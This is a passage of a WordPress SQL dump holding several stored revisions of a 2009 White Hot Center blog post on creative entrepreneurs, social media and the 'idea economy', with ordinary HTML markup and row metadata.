lives.<em>\n</em><strong>Mastery</strong>\n– a never-ending capacity to grow and get better at something that really matters.<em>\n</em><strong>Purpose</strong>\n– the yearning to do what matters to them, and have that serve the good of others.\n\n<strong>What this means to you.</strong>\n\nMany people believe they don’t “have enough” resources to pursue their ideas. They blame their lack and limitation on the closed structures of the past fifty years. If you continue in the belief of lack and limitation as a reason for not pursuing your ideas, and you will miss the opportunity of your lifetime. Snooze, you lose.\n\nOn the other hand, creative entrepreneurs are “possibility thinkers” framing their ideas around “what-if and why-not” questions. The emerging creative idea -based economy is a system favorable to this point of view. Never has potential and possibility for success been more available!\n\nWhen you embark on the journey of pursuing your ideas to grow your value to the world, you’ll be focusing your energy on trusting your intuition and imagination, (which is where all ideas come from) and less on the evidence interpreted by your physical senses. New opportunity will show up to strengthen your faith and belief. And with faith and belief, you will have the will to set meaningful goals and persist in your action. Persistent action gives you more momentum, momentum leads to results.  There is no better time than now to begin to take your creative business to the next level. Think about these questions:\n\n<strong>What is important to you, what really matters?</strong>\n\n<strong> </strong>\n\n<strong>What motivates you? Are you moved by intrinsic ideals (doing what matters), or do you prefer the outside “carrot and stick” incentives (money, social status) for motivation?</strong>\n\n<strong> </strong>\n\n<strong>Let me know what you think about this.</strong><strong> </strong>', 'The entrepreneur in the emerging idea economy.', 0, '', 'inherit', 'open', 'open', '', '632-revision-10', '', '', '2009-09-21 14:48:26', '2009-09-21 21:48:26', '', 632, 'http://www.whitehotcenter.com/2009/09/21/632-revision-10/', 0, 'revision', '', 0);
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(638, 2, '2009-09-21 14:43:11', '2009-09-21 21:43:11', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas.gif"><img class="alignnone size-full wp-image-633" title="ideas" src="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas.gif" alt="ideas" width="450" height="534" /></a><span style="color: #ff6600;">One of the fundamental topics of interest here on the White Hot Center is this idea of creative business. For many, that term may seem a little vague and ambiguous. In this post I’ll explain what I mean when I use the term creative business and more specifically “creative entrepreneur” and how this can have a useful impact on your own creative thinking about growing your business</span>.</h2>\r\nMany business people get hung up on the word “creative”. So many people do not believe they are creative. Many people think of the term as it relates to the creative arts, expression or artistic ability. If you have a dry cleaning business, you might not think of it as creative business at all. In truth, being a successful entrepreneur in any business requires lots of creativity and innovation. My fellow bloggers at <strong><a href="http://lateralaction.com/articles/creative-entrepreneur" target="_blank">Lateral Action</a>,</strong> have an in-depth article on the subject that I think you would find helpful regardless of the business you are in.  I encourage you to check it out. There are three characteristics all entrepreneurs have:<strong> </strong>\r\n\r\n<strong>\r\nCreativity</strong>\r\n–generating new ideas, evaluating them effectively, taking action to turn them into new products and services.<strong>\r\nCollaboration</strong>\r\n– connecting and working with partners, and other significant players in their network, which will increasingly be scattered beyond local geography and contain more ‘virtual’ relationships than face-to-face ones.<strong>\r\nEntrepreneurship</strong>\r\n– identifying opportunities in the marketplace and using their business skills to transform formless ideas into physical products and profits.\r\n\r\nEntrepreneurs have always relied on their creativity to produce wealth, but the modern creative entrepreneur goes further and deeper. Noted author,<a href="http://www.amazon.com/Creative-Economy-People-Money-Ideas/dp/0140287949/ref=sr_1_1?ie=UTF8&amp;s=books&amp;qid=1221126168&amp;sr=8-1"> John Howkins</a> defines creative entrepreneurs as people who “use creativity to unlock the wealth that lies <em>within themselves</em> rather than with external capital”. The value that creative entrepreneurs create lies not in their physical products (if any) but in intangible assets such as their brand, reputation, network and intellectual property. This forms the “inner game” that I call the white hot center of competitive advantage. Creative entrepreneurs inherently “know” their success begins inside them, and they go from there. How do these three characteristics show up in you?\r\n\r\n<strong>The New Age of Connection</strong>\r\n\r\nThere has never been a more favorable environment for creative entrepreneurs with big ideas and the will to bring them into form. Social Media is transforming every human structure and business model of the last half-century. We are truly in a new age of human connection and interaction. What’s different is the transparent and  “virtual nature” of these interactions as a result of the exploding phenomena of social media.\r\n\r\nFor awhile, I thought social media might be a passing fad– the CB radio of our time. However, after more research and participation (this blog), I have come to the conclusion that it is far more. We are experiencing the embryonic beginnings of how humans will build more transparent, tribal and profitable relationships with others of like mind. It is in this fertile soil that the creative economy will grow.\r\n\r\nIdeas are its currency–particularly ideas that have a viral potential. This gives the creative entrepreneur a leg up simply because, by their very nature, they are predisposed to thinking with creativity and innovation about their business. The social web is not going away, it will only grow in its potential to bring humans closer, providing a powerful venue that is favorable to ideas that create more value for people. Creative entrepreneurs will form the core of this emerging group who will become the new visionaries–people who create financial value from their intangible ideas. Creative entrepreneurs are focused on:\r\n\r\n<em> </em>\r\n\r\n<em> </em>\r\n\r\n<strong>Autonomy</strong>\r\n– the desire to direct the course of their own lives.<em>\r\n</em><strong>Mastery</strong>\r\n– a never-ending capacity to grow and get better at something that really matters.<em>\r\n</em><strong>Purpose</strong>\r\n– the yearning to do what matters to them, and have that serve the good of others.\r\n\r\n<strong>What this means to you.</strong>\r\n\r\nMany people believe they don’t “have enough” resources to pursue their ideas. They blame their lack and limitation on the closed structures of the past fifty years. If you continue in the belief of lack and limitation as a reason for not pursuing your ideas, and you will miss the opportunity of your lifetime. Snooze, you lose.\r\n\r\nOn the other hand, creative entrepreneurs are “possibility thinkers” framing their ideas around “what-if and why-not” questions. The emerging creative idea -based economy is a system favorable to this point of view. Never has potential and possibility for success been more available!\r\n\r\nWhen you embark on the journey of pursuing your ideas to grow your value to the world, you’ll be focusing your energy on trusting your intuition and imagination, (which is where all ideas come from) and less on the evidence interpreted by your physical senses. New opportunity will show up to strengthen your faith and belief. And with faith and belief, you will have the will to set meaningful goals and persist in your action. Persistent action gives you more momentum, momentum leads to results.  There is no better time than now to begin to take your creative business to the next level. Think about these questions:\r\n\r\n<strong>What is important to you, what really matters?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>What motivates you? Are you moved by intrinsic ideals (doing what matters), or do you prefer the outside “carrot and stick” incentives (money, social status) for motivation?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Let me know what you think about this.</strong><strong> </strong>', 'The entrepreneur in the emerging idea economy.', 0, '', 'inherit', 'open', 'open', '', '632-revision-5', '', '', '2009-09-21 14:43:11', '2009-09-21 21:43:11', '', 632, 'http://www.whitehotcenter.com/2009/09/21/632-revision-5/', 0, 'revision', '', 0),
(639, 2, '2009-09-21 14:43:20', '2009-09-21 21:43:20', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas.gif"><img class="alignnone size-full wp-image-633" title="ideas" src="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas.gif" alt="ideas" width="450" height="534" /></a><span style="color: #ff6600;">One of the fundamental topics of interest here on the White Hot Center is this idea of creative business. For many, that term may seem a little vague and ambiguous. In this post I’ll explain what I mean when I use the term creative business and more specifically “creative entrepreneur” and how this can have a useful impact on your own creative thinking about growing your business</span>.</h2>\r\nMany business people get hung up on the word “creative”. So many people do not believe they are creative. Many people think of the term as it relates to the creative arts, expression or artistic ability. If you have a dry cleaning business, you might not think of it as creative business at all. In truth, being a successful entrepreneur in any business requires lots of creativity and innovation. My fellow bloggers at <strong><a href="http://lateralaction.com/articles/creative-entrepreneur" target="_blank">Lateral Action</a>,</strong> have an in-depth article on the subject that I think you would find helpful regardless of the business you are in.  I encourage you to check it out. There are three characteristics all entrepreneurs have:<strong> </strong>\r\n\r\n<strong>\r\nCreativity</strong>\r\n–generating new ideas, evaluating them effectively, taking action to turn them into new products and services.<strong>\r\nCollaboration</strong>\r\n– connecting and working with partners, and other significant players in their network, which will increasingly be scattered beyond local geography and contain more ‘virtual’ relationships than face-to-face ones.<strong>\r\nEntrepreneurship</strong>\r\n– identifying opportunities in the marketplace and using their business skills to transform formless ideas into physical products and profits.\r\n\r\nEntrepreneurs have always relied on their creativity to produce wealth, but the modern creative entrepreneur goes further and deeper. Noted author,<a href="http://www.amazon.com/Creative-Economy-People-Money-Ideas/dp/0140287949/ref=sr_1_1?ie=UTF8&amp;s=books&amp;qid=1221126168&amp;sr=8-1"> John Howkins</a> defines creative entrepreneurs as people who “use creativity to unlock the wealth that lies <em>within themselves</em> rather than with external capital”. The value that creative entrepreneurs create lies not in their physical products (if any) but in intangible assets such as their brand, reputation, network and intellectual property. This forms the “inner game” that I call the white hot center of competitive advantage. Creative entrepreneurs inherently “know” their success begins inside them, and they go from there. How do these three characteristics show up in you?\r\n\r\n<strong>The New Age of Connection</strong>\r\n\r\nThere has never been a more favorable environment for creative entrepreneurs with big ideas and the will to bring them into form. Social Media is transforming every human structure and business model of the last half-century. We are truly in a new age of human connection and interaction. What’s different is the transparent and  “virtual nature” of these interactions as a result of the exploding phenomena of social media.\r\n\r\nFor awhile, I thought social media might be a passing fad– the CB radio of our time. However, after more research and participation (this blog), I have come to the conclusion that it is far more. We are experiencing the embryonic beginnings of how humans will build more transparent, tribal and profitable relationships with others of like mind. It is in this fertile soil that the creative economy will grow.\r\n\r\nIdeas are its currency–particularly ideas that have a viral potential. This gives the creative entrepreneur a leg up simply because, by their very nature, they are predisposed to thinking with creativity and innovation about their business. The social web is not going away, it will only grow in its potential to bring humans closer, providing a powerful venue that is favorable to ideas that create more value for people. Creative entrepreneurs will form the core of this emerging group who will become the new visionaries–people who create financial value from their intangible ideas. Creative entrepreneurs are focused on:\r\n\r\n<em> </em>\r\n\r\n<em> </em>\r\n\r\n<strong>Autonomy</strong>\r\n– the desire to direct the course of their own lives.<em>\r\n</em><strong>Mastery</strong>\r\n– a never-ending capacity to grow and get better at something that really matters.<em>\r\n</em><strong>Purpose</strong>\r\n– the yearning to do what matters to them, and have that serve the good of others.\r\n\r\n<strong>What this means to you.</strong>\r\n\r\nMany people believe they don’t “have enough” resources to pursue their ideas. They blame their lack and limitation on the closed structures of the past fifty years. If you continue in the belief of lack and limitation as a reason for not pursuing your ideas, and you will miss the opportunity of your lifetime. Snooze, you lose.\r\n\r\nOn the other hand, creative entrepreneurs are “possibility thinkers” framing their ideas around “what-if and why-not” questions. The emerging creative idea -based economy is a system favorable to this point of view. Never has potential and possibility for success been more available!\r\n\r\nWhen you embark on the journey of pursuing your ideas to grow your value to the world, you’ll be focusing your energy on trusting your intuition and imagination, (which is where all ideas come from) and less on the evidence interpreted by your physical senses. New opportunity will show up to strengthen your faith and belief. And with faith and belief, you will have the will to set meaningful goals and persist in your action. Persistent action gives you more momentum, momentum leads to results.  There is no better time than now to begin to take your creative business to the next level. Think about these questions:\r\n\r\n<strong>What is important to you, what really matters?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>What motivates you? Are you moved by intrinsic ideals (doing what matters), or do you prefer the outside “carrot and stick” incentives (money, social status) for motivation?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Let me know what you think about this.</strong><strong> </strong>', 'The entrepreneur in the emerging idea economy.', 0, '', 'inherit', 'open', 'open', '', '632-revision-6', '', '', '2009-09-21 14:43:20', '2009-09-21 21:43:20', '', 632, 'http://www.whitehotcenter.com/2009/09/21/632-revision-6/', 0, 'revision', '', 0),
(640, 2, '2009-09-21 14:43:29', '2009-09-21 21:43:29', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas.gif"><img class="alignnone size-full wp-image-633" title="ideas" src="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas.gif" alt="ideas" width="450" height="534" /></a><span style="color: #ff6600;">One of the fundamental topics of interest here on the White Hot Center is this idea of creative business. For many, that term may seem a little vague and ambiguous. In this post I’ll explain what I mean when I use the term creative business and more specifically “creative entrepreneur” and how this can have a useful impact on your own creative thinking about growing your business</span>.</h2>\r\nMany business people get hung up on the word “creative”. So many people do not believe they are creative. Many people think of the term as it relates to the creative arts, expression or artistic ability. If you have a dry cleaning business, you might not think of it as creative business at all. In truth, being a successful entrepreneur in any business requires lots of creativity and innovation. My fellow bloggers at <strong><a href="http://lateralaction.com/articles/creative-entrepreneur" target="_blank">Lateral Action</a>,</strong> have an in-depth article on the subject that I think you would find helpful regardless of the business you are in.  I encourage you to check it out. There are three characteristics all entrepreneurs have:<strong> </strong>\r\n\r\n<strong>\r\nCreativity</strong>\r\n–generating new ideas, evaluating them effectively, taking action to turn them into new products and services.<strong>\r\nCollaboration</strong>\r\n– connecting and working with partners, and other significant players in their network, which will increasingly be scattered beyond local geography and contain more ‘virtual’ relationships than face-to-face ones.<strong>\r\nEntrepreneurship</strong>\r\n– identifying opportunities in the marketplace and using their business skills to transform formless ideas into physical products and profits.\r\n\r\nEntrepreneurs have always relied on their creativity to produce wealth, but the modern creative entrepreneur goes further and deeper. Noted author,<a href="http://www.amazon.com/Creative-Economy-People-Money-Ideas/dp/0140287949/ref=sr_1_1?ie=UTF8&amp;s=books&amp;qid=1221126168&amp;sr=8-1"> John Howkins</a> defines creative entrepreneurs as people who “use creativity to unlock the wealth that lies <em>within themselves</em> rather than with external capital”. The value that creative entrepreneurs create lies not in their physical products (if any) but in intangible assets such as their brand, reputation, network and intellectual property. This forms the “inner game” that I call the white hot center of competitive advantage. Creative entrepreneurs inherently “know” their success begins inside them, and they go from there. How do these three characteristics show up in you?\r\n\r\n<strong>The New Age of Connection</strong>\r\n\r\nThere has never been a more favorable environment for creative entrepreneurs with big ideas and the will to bring them into form. Social Media is transforming every human structure and business model of the last half-century. We are truly in a new age of human connection and interaction. What’s different is the transparent and  “virtual nature” of these interactions as a result of the exploding phenomena of social media.\r\n\r\nFor awhile, I thought social media might be a passing fad– the CB radio of our time. However, after more research and participation (this blog), I have come to the conclusion that it is far more. We are experiencing the embryonic beginnings of how humans will build more transparent, tribal and profitable relationships with others of like mind. It is in this fertile soil that the creative economy will grow.\r\n\r\nIdeas are its currency–particularly ideas that have a viral potential. This gives the creative entrepreneur a leg up simply because, by their very nature, they are predisposed to thinking with creativity and innovation about their business. The social web is not going away, it will only grow in its potential to bring humans closer, providing a powerful venue that is favorable to ideas that create more value for people. Creative entrepreneurs will form the core of this emerging group who will become the new visionaries–people who create financial value from their intangible ideas. Creative entrepreneurs are focused on:\r\n\r\n<em> </em>\r\n\r\n<em> </em>\r\n\r\n<strong>Autonomy</strong>\r\n– the desire to direct the course of their own lives.<em>\r\n</em><strong>Mastery</strong>\r\n– a never-ending capacity to grow and get better at something that really matters.<em>\r\n</em><strong>Purpose</strong>\r\n– the yearning to do what matters to them, and have that serve the good of others.\r\n\r\n<strong>What this means to you.</strong>\r\n\r\nMany people believe they don’t “have enough” resources to pursue their ideas. They blame their lack and limitation on the closed structures of the past fifty years. If you continue in the belief of lack and limitation as a reason for not pursuing your ideas, and you will miss the opportunity of your lifetime. Snooze, you lose.\r\n\r\nOn the other hand, creative entrepreneurs are “possibility thinkers” framing their ideas around “what-if and why-not” questions. The emerging creative idea -based economy is a system favorable to this point of view. Never has potential and possibility for success been more available!\r\n\r\nWhen you embark on the journey of pursuing your ideas to grow your value to the world, you’ll be focusing your energy on trusting your intuition and imagination, (which is where all ideas come from) and less on the evidence interpreted by your physical senses. New opportunity will show up to strengthen your faith and belief. And with faith and belief, you will have the will to set meaningful goals and persist in your action. Persistent action gives you more momentum, momentum leads to results.  There is no better time than now to begin to take your creative business to the next level. Think about these questions:\r\n\r\n<strong>What is important to you, what really matters?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>What motivates you? Are you moved by intrinsic ideals (doing what matters), or do you prefer the outside “carrot and stick” incentives (money, social status) for motivation?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Let me know what you think about this.</strong><strong> </strong>', 'The entrepreneur in the emerging idea economy.', 0, '', 'inherit', 'open', 'open', '', '632-revision-7', '', '', '2009-09-21 14:43:29', '2009-09-21 21:43:29', '', 632, 'http://www.whitehotcenter.com/2009/09/21/632-revision-7/', 0, 'revision', '', 0),
(641, 2, '2009-09-21 14:45:47', '2009-09-21 21:45:47', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas.gif"><img class="alignnone size-full wp-image-633" title="ideas" src="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas.gif" alt="ideas" width="284" height="338" /></a><span style="color: #ff6600;">One of the fundamental topics of interest here on the White Hot Center is this idea of creative business. For many, that term may seem a little vague and ambiguous. In this post I’ll explain what I mean when I use the term creative business and more specifically “creative entrepreneur” and how this can have a useful impact on your own creative thinking about growing your business</span>.</h2>\r\nMany business people get hung up on the word “creative”. So many people do not believe they are creative. Many people think of the term as it relates to the creative arts, expression or artistic ability. If you have a dry cleaning business, you might not think of it as creative business at all. In truth, being a successful entrepreneur in any business requires lots of creativity and innovation. My fellow bloggers at <strong><a href="http://lateralaction.com/articles/creative-entrepreneur" target="_blank">Lateral Action</a>,</strong> have an in-depth article on the subject that I think you would find helpful regardless of the business you are in.  I encourage you to check it out.\r\n\r\nThere are three characteristics all entrepreneurs have:<strong> </strong>\r\n\r\n<strong>Creativity</strong>\r\n–generating new ideas, evaluating them effectively, taking action to turn them into new products and services.<strong>\r\nCollaboration</strong>\r\n– connecting and working with partners, and other significant players in their network, which will increasingly be scattered beyond local geography and contain more ‘virtual’ relationships than face-to-face ones.<strong>\r\nEntrepreneurship</strong>\r\n– identifying opportunities in the marketplace and using their business skills to transform formless ideas into physical products and profits.\r\n\r\nEntrepreneurs have always relied on their creativity to produce wealth, but the modern creative entrepreneur goes further and deeper. Noted author,<a href="http://www.amazon.com/Creative-Economy-People-Money-Ideas/dp/0140287949/ref=sr_1_1?ie=UTF8&amp;s=books&amp;qid=1221126168&amp;sr=8-1"> John Howkins</a> defines creative entrepreneurs as people who “use creativity to unlock the wealth that lies <em>within themselves</em> rather than with external capital”. The value that creative entrepreneurs create lies not in their physical products (if any) but in intangible assets such as their brand, reputation, network and intellectual property. This forms the “inner game” that I call the white hot center of competitive advantage. Creative entrepreneurs inherently “know” their success begins inside them, and they go from there. How do these three characteristics show up in you?\r\n\r\n<strong>The New Age of Connection</strong>\r\n\r\nThere has never been a more favorable environment for creative entrepreneurs with big ideas and the will to bring them into form. Social Media is transforming every human structure and business model of the last half-century. We are truly in a new age of human connection and interaction. What’s different is the transparent and  “virtual nature” of these interactions as a result of the exploding phenomena of social media.\r\n\r\nFor awhile, I thought social media might be a passing fad– the CB radio of our time. However, after more research and participation (this blog), I have come to the conclusion that it is far more. We are experiencing the embryonic beginnings of how humans will build more transparent, tribal and profitable relationships with others of like mind. It is in this fertile soil that the creative economy will grow.\r\n\r\nIdeas are its currency–particularly ideas that have a viral potential. This gives the creative entrepreneur a leg up simply because, by their very nature, they are predisposed to thinking with creativity and innovation about their business. The social web is not going away, it will only grow in its potential to bring humans closer, providing a powerful venue that is favorable to ideas that create more value for people. Creative entrepreneurs will form the core of this emerging group who will become the new visionaries–people who create financial value from their intangible ideas. Creative entrepreneurs are focused on:\r\n\r\n<em> </em>\r\n\r\n<em> </em>\r\n\r\n<strong>Autonomy</strong>\r\n– the desire to direct the course of their own lives.<em>\r\n</em><strong>Mastery</strong>\r\n– a never-ending capacity to grow and get better at something that really matters.<em>\r\n</em><strong>Purpose</strong>\r\n– the yearning to do what matters to them, and have that serve the good of others.\r\n\r\n<strong>What this means to you.</strong>\r\n\r\nMany people believe they don’t “have enough” resources to pursue their ideas. They blame their lack and limitation on the closed structures of the past fifty years. If you continue in the belief of lack and limitation as a reason for not pursuing your ideas, and you will miss the opportunity of your lifetime. Snooze, you lose.\r\n\r\nOn the other hand, creative entrepreneurs are “possibility thinkers” framing their ideas around “what-if and why-not” questions. The emerging creative idea -based economy is a system favorable to this point of view. Never has potential and possibility for success been more available!\r\n\r\nWhen you embark on the journey of pursuing your ideas to grow your value to the world, you’ll be focusing your energy on trusting your intuition and imagination, (which is where all ideas come from) and less on the evidence interpreted by your physical senses. New opportunity will show up to strengthen your faith and belief. And with faith and belief, you will have the will to set meaningful goals and persist in your action. Persistent action gives you more momentum, momentum leads to results.  There is no better time than now to begin to take your creative business to the next level. Think about these questions:\r\n\r\n<strong>What is important to you, what really matters?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>What motivates you? Are you moved by intrinsic ideals (doing what matters), or do you prefer the outside “carrot and stick” incentives (money, social status) for motivation?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Let me know what you think about this.</strong><strong> </strong>', 'The entrepreneur in the emerging idea economy.', 0, '', 'inherit', 'open', 'open', '', '632-revision-8', '', '', '2009-09-21 14:45:47', '2009-09-21 21:45:47', '', 632, 'http://www.whitehotcenter.com/2009/09/21/632-revision-8/', 0, 'revision', '', 0),
(642, 2, '2009-09-21 14:45:56', '2009-09-21 21:45:56', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas.gif"><img class="alignnone size-full wp-image-633" title="ideas" src="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas.gif" alt="ideas" width="284" height="338" /></a><span style="color: #ff6600;">One of the fundamental topics of interest here on the White Hot Center is this idea of creative business. For many, that term may seem a little vague and ambiguous. In this post I’ll explain what I mean when I use the term creative business and more specifically “creative entrepreneur” and how this can have a useful impact on your own creative thinking about growing your business</span>.</h2>\r\nMany business people get hung up on the word “creative”. So many people do not believe they are creative. Many people think of the term as it relates to the creative arts, expression or artistic ability. If you have a dry cleaning business, you might not think of it as creative business at all. In truth, being a successful entrepreneur in any business requires lots of creativity and innovation. My fellow bloggers at <strong><a href="http://lateralaction.com/articles/creative-entrepreneur" target="_blank">Lateral Action</a>,</strong> have an in-depth article on the subject that I think you would find helpful regardless of the business you are in.  I encourage you to check it out.\r\n\r\nThere are three characteristics all entrepreneurs have:<strong> </strong>\r\n\r\n<strong>Creativity</strong>\r\n–generating new ideas, evaluating them effectively, taking action to turn them into new products and services.<strong>\r\nCollaboration</strong>\r\n– connecting and working with partners, and other significant players in their network, which will increasingly be scattered beyond local geography and contain more ‘virtual’ relationships than face-to-face ones.<strong>\r\nEntrepreneurship</strong>\r\n– identifying opportunities in the marketplace and using their business skills to transform formless ideas into physical products and profits.\r\n\r\nEntrepreneurs have always relied on their creativity to produce wealth, but the modern creative entrepreneur goes further and deeper. Noted author,<a href="http://www.amazon.com/Creative-Economy-People-Money-Ideas/dp/0140287949/ref=sr_1_1?ie=UTF8&amp;s=books&amp;qid=1221126168&amp;sr=8-1"> John Howkins</a> defines creative entrepreneurs as people who “use creativity to unlock the wealth that lies <em>within themselves</em> rather than with external capital”. The value that creative entrepreneurs create lies not in their physical products (if any) but in intangible assets such as their brand, reputation, network and intellectual property. This forms the “inner game” that I call the white hot center of competitive advantage. Creative entrepreneurs inherently “know” their success begins inside them, and they go from there. How do these three characteristics show up in you?\r\n\r\n<strong>The New Age of Connection</strong>\r\n\r\nThere has never been a more favorable environment for creative entrepreneurs with big ideas and the will to bring them into form. Social Media is transforming every human structure and business model of the last half-century. We are truly in a new age of human connection and interaction. What’s different is the transparent and  “virtual nature” of these interactions as a result of the exploding phenomena of social media.\r\n\r\nFor awhile, I thought social media might be a passing fad– the CB radio of our time. However, after more research and participation (this blog), I have come to the conclusion that it is far more. We are experiencing the embryonic beginnings of how humans will build more transparent, tribal and profitable relationships with others of like mind. It is in this fertile soil that the creative economy will grow.\r\n\r\nIdeas are its currency–particularly ideas that have a viral potential. This gives the creative entrepreneur a leg up simply because, by their very nature, they are predisposed to thinking with creativity and innovation about their business. The social web is not going away, it will only grow in its potential to bring humans closer, providing a powerful venue that is favorable to ideas that create more value for people. Creative entrepreneurs will form the core of this emerging group who will become the new visionaries–people who create financial value from their intangible ideas. Creative entrepreneurs are focused on:\r\n\r\n<em> </em>\r\n\r\n<em> </em>\r\n\r\n<strong>Autonomy</strong>\r\n– the desire to direct the course of their own lives.<em>\r\n</em><strong>Mastery</strong>\r\n– a never-ending capacity to grow and get better at something that really matters.<em>\r\n</em><strong>Purpose</strong>\r\n– the yearning to do what matters to them, and have that serve the good of others.\r\n\r\n<strong>What this means to you.</strong>\r\n\r\nMany people believe they don’t “have enough” resources to pursue their ideas. They blame their lack and limitation on the closed structures of the past fifty years. If you continue in the belief of lack and limitation as a reason for not pursuing your ideas, and you will miss the opportunity of your lifetime. Snooze, you lose.\r\n\r\nOn the other hand, creative entrepreneurs are “possibility thinkers” framing their ideas around “what-if and why-not” questions. The emerging creative idea -based economy is a system favorable to this point of view. Never has potential and possibility for success been more available!\r\n\r\nWhen you embark on the journey of pursuing your ideas to grow your value to the world, you’ll be focusing your energy on trusting your intuition and imagination, (which is where all ideas come from) and less on the evidence interpreted by your physical senses. New opportunity will show up to strengthen your faith and belief. And with faith and belief, you will have the will to set meaningful goals and persist in your action. Persistent action gives you more momentum, momentum leads to results.  There is no better time than now to begin to take your creative business to the next level. Think about these questions:\r\n\r\n<strong>What is important to you, what really matters?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>What motivates you? Are you moved by intrinsic ideals (doing what matters), or do you prefer the outside “carrot and stick” incentives (money, social status) for motivation?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Let me know what you think about this.</strong><strong> </strong>', 'The entrepreneur in the emerging idea economy.', 0, '', 'inherit', 'open', 'open', '', '632-revision-9', '', '', '2009-09-21 14:45:56', '2009-09-21 21:45:56', '', 632, 'http://www.whitehotcenter.com/2009/09/21/632-revision-9/', 0, 'revision', '', 0),
(644, 2, '2009-09-21 14:49:48', '2009-09-21 21:49:48', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas.gif"><img class="alignnone size-full wp-image-633" title="ideas" src="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas.gif" alt="ideas" width="250" height="298" /></a><span style="color: #ff6600;">One of the fundamental topics of interest here on the White Hot Center is this idea of creative business. For many, that term may seem a little vague and ambiguous. In this post I’ll explain what I mean when I use the term creative business and more specifically “creative entrepreneur” and how this can have a useful impact on your own creative thinking about growing your business.</span></h2>\r\nMany business people get hung up on the word “creative”. So many people do not believe they are creative. Many people think of the term as it relates to the creative arts, expression or artistic ability. If you have a dry cleaning business, you might not think of it as creative business at all. In truth, being a successful entrepreneur in any business requires lots of creativity and innovation. My fellow bloggers at <strong><a href="http://lateralaction.com/articles/creative-entrepreneur" target="_blank">Lateral Action</a>,</strong> have an in-depth article on the subject that I think you would find helpful regardless of the business you are in.  I encourage you to check it out.\r\n\r\nThere are three characteristics all entrepreneurs have:<strong> </strong>\r\n\r\n<strong>Creativity</strong>\r\n–generating new ideas, evaluating them effectively, taking action to turn them into new products and services.<strong>\r\nCollaboration</strong>\r\n– connecting and working with partners, and other significant players in their network, which will increasingly be scattered beyond local geography and contain more ‘virtual’ relationships than face-to-face ones.<strong>\r\nEntrepreneurship</strong>\r\n– identifying opportunities in the marketplace and using their business skills to transform formless ideas into physical products and profits.\r\n\r\nEntrepreneurs have always relied on their creativity to produce wealth, but the modern creative entrepreneur goes further and deeper. Noted author,<a href="http://www.amazon.com/Creative-Economy-People-Money-Ideas/dp/0140287949/ref=sr_1_1?ie=UTF8&amp;s=books&amp;qid=1221126168&amp;sr=8-1"> John Howkins</a> defines creative entrepreneurs as people who “use creativity to unlock the wealth that lies <em>within themselves</em> rather than with external capital”. The value that creative entrepreneurs create lies not in their physical products (if any) but in intangible assets such as their brand, reputation, network and intellectual property. This forms the “inner game” that I call the white hot center of competitive advantage. Creative entrepreneurs inherently “know” their success begins inside them, and they go from there. How do these three characteristics show up in you?\r\n\r\n<strong>The New Age of Connection</strong>\r\n\r\nThere has never been a more favorable environment for creative entrepreneurs with big ideas and the will to bring them into form. Social Media is transforming every human structure and business model of the last half-century. We are truly in a new age of human connection and interaction. What’s different is the transparent and  “virtual nature” of these interactions as a result of the exploding phenomena of social media.\r\n\r\nFor awhile, I thought social media might be a passing fad– the CB radio of our time. However, after more research and participation (this blog), I have come to the conclusion that it is far more. We are experiencing the embryonic beginnings of how humans will build more transparent, tribal and profitable relationships with others of like mind. It is in this fertile soil that the creative economy will grow.\r\n\r\nIdeas are its currency–particularly ideas that have a viral potential. This gives the creative entrepreneur a leg up simply because, by their very nature, they are predisposed to thinking with creativity and innovation about their business. The social web is not going away, it will only grow in its potential to bring humans closer, providing a powerful venue that is favorable to ideas that create more value for people. Creative entrepreneurs will form the core of this emerging group who will become the new visionaries–people who create financial value from their intangible ideas. Creative entrepreneurs are focused on:\r\n\r\n<em> </em>\r\n\r\n<em> </em>\r\n\r\n<strong>Autonomy</strong>\r\n– the desire to direct the course of their own lives.<em>\r\n</em><strong>Mastery</strong>\r\n– a never-ending capacity to grow and get better at something that really matters.<em>\r\n</em><strong>Purpose</strong>\r\n– the yearning to do what matters to them, and have that serve the good of others.\r\n\r\n<strong>What this means to you.</strong>\r\n\r\nMany people believe they don’t “have enough” resources to pursue their ideas. They blame their lack and limitation on the closed structures of the past fifty years. If you continue in the belief of lack and limitation as a reason for not pursuing your ideas, and you will miss the opportunity of your lifetime. Snooze, you lose.\r\n\r\nOn the other hand, creative entrepreneurs are “possibility thinkers” framing their ideas around “what-if and why-not” questions. The emerging creative idea -based economy is a system favorable to this point of view. Never has potential and possibility for success been more available!\r\n\r\nWhen you embark on the journey of pursuing your ideas to grow your value to the world, you’ll be focusing your energy on trusting your intuition and imagination, (which is where all ideas come from) and less on the evidence interpreted by your physical senses. New opportunity will show up to strengthen your faith and belief. And with faith and belief, you will have the will to set meaningful goals and persist in your action. Persistent action gives you more momentum, momentum leads to results.  There is no better time than now to begin to take your creative business to the next level. Think about these questions:\r\n\r\n<strong>What is important to you, what really matters?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>What motivates you? Are you moved by intrinsic ideals (doing what matters), or do you prefer the outside “carrot and stick” incentives (money, social status) for motivation?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Let me know what you think about this.</strong><strong> </strong>', 'The entrepreneur in the emerging idea economy.', 0, '', 'inherit', 'open', 'open', '', '632-revision-11', '', '', '2009-09-21 14:49:48', '2009-09-21 21:49:48', '', 632, 